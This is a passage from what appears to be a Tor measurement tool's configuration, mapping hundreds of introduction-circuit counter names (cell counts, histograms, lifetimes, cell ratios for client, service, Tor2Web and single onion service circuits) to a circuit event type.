'IntroMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUCircuitCount' : { CIRCUIT_EVENT },
'IntroUCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
